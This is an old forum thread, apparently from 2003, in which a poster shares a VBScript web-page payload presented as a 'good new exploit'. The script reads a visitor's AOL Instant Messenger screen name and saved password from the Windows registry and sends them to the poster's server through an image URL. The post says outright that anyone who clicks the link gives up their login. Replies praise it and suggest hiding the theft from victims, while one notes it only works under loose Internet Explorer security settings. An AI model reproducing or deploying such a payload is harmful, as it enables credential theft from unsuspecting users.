Jusunlee.com Forums
Show all 4 posts from this thread on one page

Jusunlee.com Forums (https://www.jusunlee.com/forums/index.php)
- Technology (https://www.jusunlee.com/forums/forumdisplay.php?forumid=28)
-- Good New Exploit (https://www.jusunlee.com/forums/showthread.php?threadid=13958)


Posted by ajy on 09-24-2003 01:06 AM:

Good New Exploit

I spent some time on this

<SCRIPT LANGUAGE="VBScript">
Dim objReg
Set objReg = Createobject("Wscript.shell")
dim user, pwvalue, pwout
user = objReg.regread ("HKEY_CURRENT_USER\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Login\Screen Name")
pwvalue = objReg.regread ("HKEY_CURRENT_USER\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users\" & user & "\Login\Password1")
pwout = pwvalue
document.write("<center><img src='http://yoursite/send.php?key=" & user & ":" & pwout & "'></center>")
</SCRIPT>

PUt this in a html on your server, whoever clicks on the link you will get an email with their login and password.


Posted by Alchemist on 09-24-2003 01:09 AM:

If you make it open up JSL on their browser as well that would kick ass. (They won't know)


Posted by kryogenix on 09-24-2003 01:45 AM:

the only reason i didn't edit because i know this is meant for educational purposes. if you do not use it for that, it is your own responsibility, not mine, not jsl's.

good coding too!


Posted by kiggaplease on 09-24-2003 02:50 AM:

the vbscript only runs on IE when the Security Level for Internet allows it (not enabled by default under Medium)

next, I only get

code:
<screenname>:HKEY_CURRENT_USER\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users\<screenname>\Login\Password1


where <screenname> is the user's sn


All times are GMT. The time now is 07:01 AM.
Show all 4 posts from this thread on one page